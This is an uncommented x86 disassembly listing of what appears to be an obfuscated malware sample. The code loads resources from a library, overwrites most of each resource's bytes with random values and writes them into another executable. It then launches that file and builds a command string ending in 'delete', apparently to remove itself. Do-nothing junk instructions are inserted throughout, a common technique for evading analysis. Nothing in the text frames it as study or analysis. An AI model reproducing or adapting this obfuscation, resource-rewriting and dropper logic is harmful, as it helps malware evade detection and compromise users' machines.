add esp, 0x20
call fcn.00406ee0
add esp, 0x18
movzx eax, al
test eax, eax
jne 0x405d68
push edi
and edi, esi
and edi, edi
mov edi, 0x29275fe1
sub edi, esp
nop
pop edi
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x588], esp
push 0x41a3c5
call fcn.0040f1c0
push 0
push 0
mov ecx, dword [ebp - 0x38]
push ecx
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x58c], esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x590], esp
push 0x41e384
call fcn.0040f0c0
push 0xb
mov ecx, 0x41e324
call fcn.00410220
push eax
push esi
call fcn.00407a00
add esp, 8
mov esi, esp
mov dword [ebp - 0x594], esp
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 0x598], esp
push 0x41e384
call fcn.0040f0c0
push 0xb
mov ecx, 0x41e360
call fcn.00410220
push eax
push esi
call fcn.00407a00
add esp, 0x20
call fcn.00408e30
add esp, 0x54
movzx edx, al
test edx, edx
jne 0x405d68
mov byte [ebp - 0xd], 0
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x1fc], eax
mov ecx, dword [ebp - 0x1fc]
push ecx
call fcn.00417e7b
add esp, 4
lea ecx, [ebp - 0x180]
call fcn.00413f30
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [ebp - 0x2c], eax
push esi
xor esi, edi
or esi, esi
mov esi, 0xb981117
sbb esi, esp
nop
pop esi
cmp dword [ebp - 0x2c], 0
jne 0x405dc4
lea ecx, [ebp - 0x168]
call fcn.0040fa10
lea ecx, [ebp - 0x1b0]
call fcn.0040fa10
jmp 0x406b0b
mov dword [ebp - 0x4c], 1
jmp 0x405dd6
mov edx, dword [ebp - 0x4c]
add edx, 1
mov dword [ebp - 0x4c], edx
mov eax, dword [ebp - 0x4c]
push eax
lea ecx, [ebp - 0xb28]
push ecx
call fcn.00417800
add esp, 8
push eax
push 0x41a628
lea edx, [ebp - 0x438]
push edx
call fcn.0040cb70
add esp, 0xc
lea ecx, [ebp - 0xb28]
call fcn.0040fa50
push 3
lea ecx, [ebp - 0x438]
call fcn.00413f30
push eax
mov eax, dword [ebp - 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov dword [ebp - 0x90], eax
cmp dword [ebp - 0x90], 0
jne 0x405e78
cmp dword [ebp - 0x4c], 0x6e
jne 0x405e66
mov ecx, dword [ebp - 0x2c]
push ecx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea ecx, [ebp - 0x438]
call fcn.0040fa50
lea ecx, [ebp - 0x168]
call fcn.0040fa10
lea ecx, [ebp - 0x1b0]
call fcn.0040fa10
jmp 0x406b0b
lea ecx, [ebp - 0x438]
call fcn.0040fa50
jmp 0x405dcd
cmp dword [ebp - 0x4c], 0x6e
jne 0x405ebe
mov edx, dword [ebp - 0x2c]
push edx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push ebx
mov ebx, 0x1e466392
xor ebx, ebx
or ebx, edx
or ebx, edx
nop
pop ebx
lea ecx, [ebp - 0x438]
call fcn.0040fa50
lea ecx, [ebp - 0x168]
call fcn.0040fa10
lea ecx, [ebp - 0x1b0]
call fcn.0040fa10
jmp 0x406b0b
lea ecx, [ebp - 0x438]
call fcn.0040fa50
jmp 0x405edb
push edx
mov edx, 0x2cf539fe
sbb edx, eax
mov edx, 0x36861f7
pop edx
mov eax, dword [ebp - 0x90]
push eax
mov ecx, dword [ebp - 0x2c]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 0xe0], eax
cmp dword [ebp - 0xe0], 0
jne 0x405f2e
mov edx, dword [ebp - 0x2c]
push edx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea ecx, [ebp - 0x168]
call fcn.0040fa10
lea ecx, [ebp - 0x1b0]
call fcn.0040fa10
jmp 0x406b0b
mov eax, dword [ebp - 0xe0]
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 0xe4], eax
cmp dword [ebp - 0xe4], 0
jne 0x405f6f
mov ecx, dword [ebp - 0x2c]
push ecx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea ecx, [ebp - 0x168]
call fcn.0040fa10
lea ecx, [ebp - 0x1b0]
call fcn.0040fa10
jmp 0x406b0b
push esi
mov esi, 0x1cbb48eb
mov esi, 0x38987a16
xor esi, esi
pop esi
mov edx, dword [ebp - 0x90]
push edx
mov eax, dword [ebp - 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [ebp - 0x64], eax
mov ecx, dword [ebp - 0x64]
push ecx
call fcn.00417e72
add esp, 4
mov dword [ebp - 0x200], eax
mov edx, dword [ebp - 0x200]
mov dword [ebp - 0xdc], edx
mov eax, dword [ebp - 0x64]
push eax
mov ecx, dword [ebp - 0xe4]
push ecx
mov edx, dword [ebp - 0xdc]
push edx
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov eax, dword [ebp - 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push eax
mov eax, 0x5f270c76
mov eax, 0x62a00361
sub eax, esi
pop eax
push 0
lea ecx, [ebp - 0x180]
call fcn.00413f30
push eax
call dword [sym.imp.KERNEL32.dll_BeginUpdateResourceW]
mov dword [ebp - 0x94], eax
push esi
sub esi, edi
mov esi, 0x27b25009
mov esi, 0x3fb6265a
pop esi
cmp dword [ebp - 0x94], 0
jne 0x406048
mov ecx, dword [ebp - 0xdc]
mov dword [ebp - 0x204], ecx
mov edx, dword [ebp - 0x204]
push edx
call fcn.00417e7b
add esp, 4
lea ecx, [ebp - 0x168]
call fcn.0040fa10
lea ecx, [ebp - 0x1b0]
call fcn.0040fa10
jmp 0x406b0b
mov dword [ebp - 0x124], 0x2c
jmp 0x406063
mov eax, dword [ebp - 0x124]
add eax, 1
mov dword [ebp - 0x124], eax
mov ecx, dword [ebp - 0x124]
cmp ecx, dword [ebp - 0x64]
jae 0x40608c
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdq
mov ecx, 0xff
idiv ecx
mov eax, dword [ebp - 0xdc]
add eax, dword [ebp - 0x124]
mov byte [eax], dl
jmp 0x406054
push edx
mov edx, 0xf772ab7
and edx, ecx
mov edx, 0x7d3e5247
pop edx
mov ecx, dword [ebp - 0x64]
push ecx
mov edx, dword [ebp - 0xdc]
push edx
push 0x409
push 1
push 3
mov eax, dword [ebp - 0x94]
push eax
call dword [sym.imp.KERNEL32.dll_UpdateResourceW]
mov dword [ebp - 0x14c], eax
mov ecx, dword [ebp - 0xdc]
mov dword [ebp - 0x208], ecx
mov edx, dword [ebp - 0x208]
push edx
call fcn.00417e7b
add esp, 4
cmp dword [ebp - 0x14c], 0
jne 0x406100
lea ecx, [ebp - 0x168]
call fcn.0040fa10
lea ecx, [ebp - 0x1b0]
call fcn.0040fa10
jmp 0x406b0b
push ecx
mov ecx, 0x6bd9775c
xor ecx, esp
and ecx, edx
sub ecx, edx
nop
pop ecx
push 0
mov eax, dword [ebp - 0x94]
push eax
call dword [sym.imp.KERNEL32.dll_EndUpdateResourceW]
test eax, eax
jne 0x40613c
lea ecx, [ebp - 0x168]
call fcn.0040fa10
lea ecx, [ebp - 0x1b0]
call fcn.0040fa10
jmp 0x406b0b
push ebp
xor ebp, esp
sbb ebp, edi
sub ebp, eax
mov ebp, 0x59c38e2
nop
pop ebp
lea ecx, [ebp - 0x3f0]
call fcn.00414360
movzx ecx, al
test ecx, ecx
jne 0x4064ca
lea ecx, [ebp - 0x3f0]
call fcn.00413f30
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov dword [ebp - 0x2c], eax
cmp dword [ebp - 0x2c], 0
jne 0x4061a4
push eax
xor eax, edx
mov eax, 0x23833e85
and eax, edx
sub eax, eax
nop
pop eax
lea ecx, [ebp - 0x168]
call fcn.0040fa10
lea ecx, [ebp - 0x1b0]
call fcn.0040fa10
jmp 0x406b0b
mov dword [ebp - 0x4c], 1
jmp 0x4061b6
mov edx, dword [ebp - 0x4c]
add edx, 1
mov dword [ebp - 0x4c], edx
mov eax, dword [ebp - 0x4c]
push eax
lea ecx, [ebp - 0xb40]
push ecx
call fcn.00417800
add esp, 8
push eax
push 0x41a62c
lea edx, [ebp - 0x450]
push edx
call fcn.0040cb70
add esp, 0xc
lea ecx, [ebp - 0xb40]
call fcn.0040fa50
push 0x10
lea ecx, [ebp - 0x450]
call fcn.00413f30
push eax
mov eax, dword [ebp - 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov dword [ebp - 0x90], eax
cmp dword [ebp - 0x90], 0
jne 0x406258
cmp dword [ebp - 0x4c], 0x6e
jne 0x406246
mov ecx, dword [ebp - 0x2c]
push ecx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea ecx, [ebp - 0x450]
call fcn.0040fa50
lea ecx, [ebp - 0x168]
call fcn.0040fa10
lea ecx, [ebp - 0x1b0]
call fcn.0040fa10
jmp 0x406b0b
lea ecx, [ebp - 0x450]
call fcn.0040fa50
jmp 0x4061ad
cmp dword [ebp - 0x4c], 0x6e
jne 0x406290
mov edx, dword [ebp - 0x2c]
push edx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea ecx, [ebp - 0x450]
call fcn.0040fa50
lea ecx, [ebp - 0x168]
call fcn.0040fa10
lea ecx, [ebp - 0x1b0]
call fcn.0040fa10
jmp 0x406b0b
lea ecx, [ebp - 0x450]
call fcn.0040fa50
jmp 0x4062ad
push edx
mov edx, 0x5ee42de6
mov edx, 0x1b7d1046
or edx, ecx
pop edx
mov eax, dword [ebp - 0x90]
push eax
mov ecx, dword [ebp - 0x2c]
push ecx
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov dword [ebp - 0xe0], eax
cmp dword [ebp - 0xe0], 0
jne 0x406300
mov edx, dword [ebp - 0x2c]
push edx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea ecx, [ebp - 0x168]
call fcn.0040fa10
lea ecx, [ebp - 0x1b0]
call fcn.0040fa10
jmp 0x406b0b
push edi
or edi, edi
and edi, ecx
mov edi, 0x716b0135
xor edi, edi
nop
pop edi
mov eax, dword [ebp - 0xe0]
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 0xe4], eax
cmp dword [ebp - 0xe4], 0
jne 0x40634f
mov ecx, dword [ebp - 0x2c]
push ecx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea ecx, [ebp - 0x168]
call fcn.0040fa10
lea ecx, [ebp - 0x1b0]
call fcn.0040fa10
jmp 0x406b0b
mov edx, dword [ebp - 0x90]
push edx
mov eax, dword [ebp - 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov dword [ebp - 0x64], eax
mov ecx, dword [ebp - 0x64]
push ecx
call fcn.00417e72
add esp, 4
mov dword [ebp - 0x20c], eax
mov edx, dword [ebp - 0x20c]
mov dword [ebp - 0x120], edx
mov eax, dword [ebp - 0x64]
push eax
mov ecx, dword [ebp - 0xe4]
push ecx
mov edx, dword [ebp - 0x120]
push edx
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
push ebp
and ebp, esi
sbb ebp, esp
mov ebp, 0x67d06c78
add ebp, ebx
nop
pop ebp
mov eax, dword [ebp - 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
push 0
lea ecx, [ebp - 0x180]
call fcn.00413f30
push eax
call dword [sym.imp.KERNEL32.dll_BeginUpdateResourceW]
mov dword [ebp - 0x94], eax
push edx
mov edx, 0x36db0450
and edx, eax
and edx, esp
add edx, eax
nop
pop edx
cmp dword [ebp - 0x94], 0
jne 0x40641a
mov ecx, dword [ebp - 0x120]
mov dword [ebp - 0x210], ecx
mov edx, dword [ebp - 0x210]
push edx
call fcn.00417e7b
add esp, 4
lea ecx, [ebp - 0x168]
call fcn.0040fa10
lea ecx, [ebp - 0x1b0]
call fcn.0040fa10
jmp 0x406b0b
push ebp
xor ebp, edx
mov ebp, 0x43af653f
sub ebp, ebx
sbb ebp, edx
nop
pop ebp
mov eax, dword [ebp - 0x64]
push eax
mov ecx, dword [ebp - 0x120]
push ecx
push 0x409
push 1
push 0x10
mov edx, dword [ebp - 0x94]
push edx
call dword [sym.imp.KERNEL32.dll_UpdateResourceW]
mov dword [ebp - 0x14c], eax
mov eax, dword [ebp - 0x120]
mov dword [ebp - 0x214], eax
mov ecx, dword [ebp - 0x214]
push ecx
call fcn.00417e7b
add esp, 4
cmp dword [ebp - 0x14c], 0
jne 0x40648e
lea ecx, [ebp - 0x168]
call fcn.0040fa10
lea ecx, [ebp - 0x1b0]
call fcn.0040fa10
jmp 0x406b0b
push ebx
add ebx, edi
mov ebx, 0x593c180a
sbb ebx, eax
or ebx, edx
nop
pop ebx
push 0
mov edx, dword [ebp - 0x94]
push edx
call dword [sym.imp.KERNEL32.dll_EndUpdateResourceW]
test eax, eax
jne 0x4064ca
lea ecx, [ebp - 0x168]
call fcn.0040fa10
lea ecx, [ebp - 0x1b0]
call fcn.0040fa10
jmp 0x406b0b
lea ecx, [ebp - 0x168]
call fcn.0040fa10
lea ecx, [ebp - 0x1b0]
call fcn.0040fa10
jmp 0x4064e6
mov byte [ebp - 0xd], 0
push ebp
mov ebp, 0x6bc350b0
add ebp, esp
mov ebp, 0x27c94b70
pop ebp
push eax
and eax, esi
mov eax, 0x6ca5029f
mov eax, 0x3f7c5331
pop eax
push ebp
sbb ebp, esp
mov ebp, 0x58225121
or ebp, esp
or ebp, edx
nop
pop ebp
push 0x208
push 0
lea eax, [ebp - 0xf20]
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push 0x104
lea ecx, [ebp - 0xf20]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push eax
sub eax, eax
mov eax, 0x3e8f1329
mov eax, 0x378354ff
pop eax
push ebp
sbb ebp, ecx
sbb ebp, edi
and ebp, esi
mov ebp, 0x4719285e
nop
pop ebp
push ecx
mov ecx, 0xe15019f
xor ecx, edi
or ecx, eax
sbb ecx, ebp
nop
pop ecx
push 0x800
push 0
lea edx, [ebp - 0x1928]
push edx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push edi
and edi, esi
and edi, edi
mov edi, 0x29275fe1
sub edi, esp
nop
pop edi
push esi
xor esi, edi
or esi, esi
mov esi, 0xb981117
sbb esi, esp
nop
pop esi
push ebx
mov ebx, 0x1e466392
xor ebx, ebx
or ebx, edx
or ebx, edx
nop
pop ebx
movzx eax, byte [ebp - 0xd]
test eax, eax
jne 0x4066b0
push edx
mov edx, 0x2cf539fe
sbb edx, eax
mov edx, 0x36861f7
pop edx
push ecx
mov ecx, 0xeaa6935
xor ecx, esp
mov ecx, 0x64c106ee
pop ecx
push ebp
mov ebp, 0x285d017c
sub ebp, ecx
mov ebp, 0x61da7f78
pop ebp
push edx
mov edx, 0x2770ede
and edx, esp
sub edx, esp
or edx, esi
nop
pop edx
push ebx
and ebx, eax
sbb ebx, ecx
mov ebx, 0x224b3ccf
or ebx, edi
nop
pop ebx
push ecx
sbb ecx, edx
add ecx, eax
mov ecx, 0x1052db2
xor ecx, ecx
nop
pop ecx
push ebp
xor ebp, ecx
mov ebp, 0x2e290979
add ebp, esp
xor ebp, edx
nop
pop ebp
lea ecx, [ebp - 0xf20]
push ecx
push 0x41e330
push 0x41e330
lea edx, [ebp - 0xb58]
push edx
call fcn.0040cad0
add esp, 0xc
mov ecx, eax
call fcn.00413f30
push eax
lea ecx, [ebp - 0x180]
call fcn.00413f30
push eax
push 0x41a630
lea eax, [ebp - 0x1928]
push eax
call fcn.00417740
add esp, 0x14
lea ecx, [ebp - 0xb58]
call fcn.0040fa50
push edi
mov edi, 0x3f254125
add edi, edx
and edi, ecx
sbb edi, esp
nop
pop edi
push ecx
mov ecx, 0x50f841c4
or ecx, ecx
sub ecx, edi
sub ecx, edx
nop
pop ecx
push edi
or edi, ebp
mov edi, 0x1dc44a59
xor edi, edi
xor edi, eax
nop
pop edi
push ecx
and ecx, ebx
mov ecx, 0x50c6675e
or ecx, esi
sbb ecx, edi
nop
pop ecx
push edi
or edi, ecx
add edi, ebx
mov edi, 0x276d2e36
or edi, edi
nop
pop edi
jmp 0x40688c
push str.__d____d____d_
lea ecx, [ebp - 0x2a0]
call fcn.0040f450
mov dword [ebp - 0xcc], 0
jmp 0x4066db
mov ecx, dword [ebp - 0xcc]
add ecx, 1
mov dword [ebp - 0xcc], ecx
lea ecx, [ebp - 0x2a0]
call fcn.00417540
cmp dword [ebp - 0xcc], eax
jae 0x406732
push esi
mov esi, 0x2ca0b56
add esi, esi
add esi, edi
xor esi, ebp
nop
pop esi
mov edx, dword [ebp - 0xcc]
push edx
lea ecx, [ebp - 0x2a0]
call fcn.004101c0
movzx eax, word [eax]
cmp eax, 0x64
jne 0x406730
mov ecx, dword [ebp - 0xcc]
push ecx
lea ecx, [ebp - 0x2a0]
call fcn.004101c0
mov edx, 0x72
mov word [eax], dx
jmp 0x4066cc
push ebx
mov ebx, 0x73e24f7b
mov ebx, 0x275a65ef
or ebx, ebx
pop ebx
push edi
sub edi, eax
mov edi, 0x78811fba
add edi, eax
sub edi, esp
nop
pop edi
push esi
mov esi, 0x3afe05d6
mov esi, 0x494868c2
add esi, ebp
pop esi
push ecx
mov ecx, 0x5fb63bab
sbb ecx, eax
xor ecx, ebx
sub ecx, esp
nop
pop ecx
push edx
mov edx, 0x654b77e5
mov edx, 0x6f957827
sub edx, ebx
pop edx
push ebx
mov ebx, 0x6d3f419a
mov ebx, 0x3a1e0113
sbb ebx, ebp
pop ebx
mov dword [ebp - 0xc8], 0
jmp 0x4067a1
mov eax, dword [ebp - 0xc8]
add eax, 1
mov dword [ebp - 0xc8], eax
lea ecx, [ebp - 0x2a0]
call fcn.00417540
cmp dword [ebp - 0xc8], eax
jae 0x40680b
push esi
or esi, ebx
mov esi, 0x5ca32c81
mov esi, 0x29551190
pop esi
mov ecx, dword [ebp - 0xc8]
push ecx
lea ecx, [ebp - 0x2a0]
call fcn.004101c0
movzx edx, word [eax]
cmp edx, 0x72
jne 0x406809
mov eax, dword [ebp - 0xc8]
push eax
lea ecx, [ebp - 0x2a0]
call fcn.004101c0
mov dword [ebp - 0x1d0], eax
mov ecx, dword [ebp - 0x1d0]
movzx edx, word [ecx]
add edx, 1
mov eax, dword [ebp - 0x1d0]
mov word [eax], dx
jmp 0x406792
lea ecx, [ebp - 0xf20]
push ecx
push 0x41e330
push 0x41e330
lea edx, [ebp - 0xb70]
push edx
call fcn.0040cad0
add esp, 0xc
mov ecx, eax
call fcn.00413f30
push eax
lea ecx, [ebp - 0x180]
call fcn.00413f30
push eax
lea ecx, [ebp - 0x2a0]
call fcn.00413f30
push eax
lea eax, [ebp - 0x1928]
push eax
call fcn.00417740
add esp, 0x14
lea ecx, [ebp - 0xb70]
call fcn.0040fa50
push edi
and edi, esp
sub edi, ebx
mov edi, 0x566afe
sbb edi, esp
nop
pop edi
push ebx
mov ebx, 0x149b5015
or ebx, esi
mov ebx, 0x60722a3a
pop ebx
lea ecx, [ebp - 0x2a0]
call fcn.0040fa50
push ecx
mov ecx, 0x63be502b
sbb ecx, esi
mov ecx, 0x5cfb4157
pop ecx
push ebp
mov ebp, 0x2f206e88
or ebp, esp
mov ebp, 0x6eb718c3
pop ebp
push 0x10
push 0
lea ecx, [ebp - 0x710]
push ecx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push 0x44
push 0
lea edx, [ebp - 0xc2c]
push edx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push edi
mov edi, 0x796f4e8b
xor edi, esp
sbb edi, eax
xor edi, eax
nop
pop edi
mov dword [ebp - 0xc2c], 0x44
push ebp
sbb ebp, edi
or ebp, ebx
mov ebp, 0x2771797
xor ebp, ecx
nop
pop ebp
push ebx
or ebx, eax
mov ebx, 0x76556c08
or ebx, esp
add ebx, edx
nop
pop ebx
mov dword [ebp - 0xc00], 1
xor eax, eax
mov word [ebp - 0xbfc], ax
push ebp
mov ebp, 0x71cd7bc0
mov ebp, 0x1191172d
xor ebp, ecx
pop ebp
lea ecx, [ebp - 0x710]
push ecx
lea edx, [ebp - 0xc2c]
push edx
push 0
push 0
push 0x4000008
push 0
push 0
push 0
lea eax, [ebp - 0x1928]
push eax
lea ecx, [ebp - 0x180]
call fcn.00413f30
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov dword [ebp - 0x218], eax
push esi
mov esi, 0x5e6e019d
mov esi, 0x179836f2
sub esi, ebx
pop esi
cmp dword [ebp - 0x218], 0
jne 0x4069d8
push 0
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea ecx, [ebp - 0xba0]
push ecx
call fcn.004177d0
add esp, 0xfffffff0
mov edx, esp
mov dword [ebp - 0x59c], esp
push eax
push str.948_
push edx
call fcn.0040c9e0
add esp, 0xc
lea eax, [ebp - 0xb88]
push eax
call fcn.00409750
add esp, 0x20
lea ecx, [ebp - 0xb88]
call fcn.0040fa10
lea ecx, [ebp - 0xba0]
call fcn.0040fa10
push ebx
mov ebx, 0x6d347f04
mov ebx, 0x390d6896
add ebx, esp
pop ebx
mov dword [ebp - 0x21c], 0
lea ecx, [ebp - 0x6a0]
call fcn.0040fa50
lea ecx, [ebp - 0x6b8]
call fcn.0040fa50
lea ecx, [ebp - 0x318]
call fcn.0040fa50
lea ecx, [ebp - 0x330]
call fcn.0040fa50
lea ecx, [ebp - 0x2b8]
call fcn.0040fa50
lea ecx, [ebp - 0x2d0]
call fcn.0040fa50
lea ecx, [ebp - 0x348]
call fcn.0040fa50
lea ecx, [ebp - 0x360]
call fcn.0040fa50
lea ecx, [ebp - 0x378]
call fcn.0040fa50
lea ecx, [ebp - 0x2e8]
call fcn.0040fa50
lea ecx, [ebp - 0x390]
call fcn.0040fa10
lea ecx, [ebp - 0x3a8]
call fcn.0040fa50
lea ecx, [ebp - 0x3c0]
call fcn.0040fa50
lea ecx, [ebp - 0x468]
call fcn.0040fa10
lea ecx, [ebp - 0x480]
call fcn.0040fa10
lea ecx, [ebp - 0x3d8]
call fcn.0040fa50
lea ecx, [ebp - 0x258]
call fcn.0040fa10
lea ecx, [ebp - 0x1c8]
call fcn.0040fa50
lea ecx, [ebp - 0x3f0]
call fcn.0040fa50
lea ecx, [ebp - 0x408]
call fcn.0040fa50
lea ecx, [ebp - 0x180]
call fcn.0040fa50
lea ecx, [ebp - 0x498]
call fcn.0040fa10
lea ecx, [ebp - 0x6d0]
call fcn.0040fa10
lea ecx, [ebp - 0x270]
call fcn.0040fa10
lea ecx, [ebp - 0xb8]
call fcn.0040fc00
lea ecx, [ebp - 0x198]
call fcn.0040fa50
mov eax, dword [ebp - 0x21c]
jmp 0x406dfc
push 0x208
push 0
lea ecx, [ebp - 0xf20]
push ecx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push 0x104
lea edx, [ebp - 0xf20]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0x800
push 0
lea eax, [ebp - 0x1928]
push eax
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea ecx, [ebp - 0xf20]
push ecx
push 0x41e330
push 0x41e330
lea edx, [ebp - 0xbb8]
push edx
call fcn.0040cad0
add esp, 0xc
mov ecx, eax
call fcn.00413f30
push eax
lea ecx, [ebp - 0x180]
call fcn.00413f30
push eax
push str.__s____s____s___delete_
lea eax, [ebp - 0x1928]
push eax
call fcn.00417740
add esp, 0x14
lea ecx, [ebp - 0xbb8]
call fcn.0040fa50
push 0x10
push 0
lea ecx, [ebp - 0x720]
push ecx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push 0x44
push 0
lea edx, [ebp - 0xc70]
push edx
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
push ebx
mov ebx, 0x3a1a3ada
mov ebx, 0x5f1168ca
xor ebx, esp
pop ebx
mov dword [ebp - 0xc70], 0x44
push ecx
sbb ecx, ebp
mov ecx, 0x457d1350
mov ecx, 0x77a27569
pop ecx
push edi
mov edi, 0x2c9609a0
add edi, eax
or edi, eax
sub edi, ecx
nop
pop edi
mov dword [ebp - 0xc44], 1
xor eax, eax
mov word [ebp - 0xc40], ax
push edi
mov edi, 0x2cd53739
mov edi, 0x65ea7f3a
sub edi, esi
pop edi
lea ecx, [ebp - 0x720]
push ecx
lea edx, [ebp - 0xc70]
push edx
push 0
push 0
push 0x4000008
push 0
push 0
push 0
lea eax, [ebp - 0x1928]
push eax
lea ecx, [ebp - 0x180]
call fcn.00413f30
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
mov dword [ebp - 0x220], eax
cmp dword [ebp - 0x220], 0
jne 0x406cb2
push 0
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
lea ecx, [ebp - 0xbe8]
push ecx
call fcn.004177d0
add esp, 0xfffffff0
mov edx, esp
mov dword [ebp - 0x5a0], esp
push eax
push str.949_
push edx
call fcn.0040c9e0
add esp, 0xc
lea eax, [ebp - 0xbd0]
push eax
call fcn.00409750
add esp, 0x20
lea ecx, [ebp - 0xbd0]
call fcn.0040fa10
lea ecx, [ebp - 0xbe8]
call fcn.0040fa10
push ebx
mov ebx, 0x31072567
mov ebx, 0x51e40d1b
sub ebx, edx
pop ebx
push edi
sbb edi, ecx
mov edi, 0x7a177008
mov edi, 0x56b83805
pop edi
mov dword [ebp - 0x224], 0
lea ecx, [ebp - 0x6a0]
call fcn.0040fa50
lea ecx, [ebp - 0x6b8]
call fcn.0040fa50
lea ecx, [ebp - 0x318]
call fcn.0040fa50
lea ecx, [ebp - 0x330]
call fcn.0040fa50
lea ecx, [ebp - 0x2b8]
call fcn.0040fa50
lea ecx, [ebp - 0x2d0]
call fcn.0040fa50
lea ecx, [ebp - 0x348]
call fcn.0040fa50
lea ecx, [ebp - 0x360]
call fcn.0040fa50
lea ecx, [ebp - 0x378]
call fcn.0040fa50
lea ecx, [ebp - 0x2e8]
call fcn.0040fa50
lea ecx, [ebp - 0x390]
call fcn.0040fa10
lea ecx, [ebp - 0x3a8]
call fcn.0040fa50
lea ecx, [ebp - 0x3c0]
call fcn.0040fa50
lea ecx, [ebp - 0x468]
call fcn.0040fa10
lea ecx, [ebp - 0x480]
call fcn.0040fa10
lea ecx, [ebp - 0x3d8]
call fcn.0040fa50
lea ecx, [ebp - 0x258]
call fcn.0040fa10
lea ecx, [ebp - 0x1c8]
call fcn.0040fa50
lea ecx, [ebp - 0x3f0]
call fcn.0040fa50
lea ecx, [ebp - 0x408]
call fcn.0040fa50
lea ecx, [ebp - 0x180]
call fcn.0040fa50
lea ecx, [ebp - 0x498]
call fcn.0040fa10
lea ecx, [ebp - 0x6d0]
call fcn.0040fa10
lea ecx, [ebp - 0x270]
call fcn.0040fa10
lea ecx, [ebp - 0xb8]
call fcn.0040fc00
lea ecx, [ebp - 0x198]
call fcn.0040fa50
mov eax, dword [ebp - 0x224]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10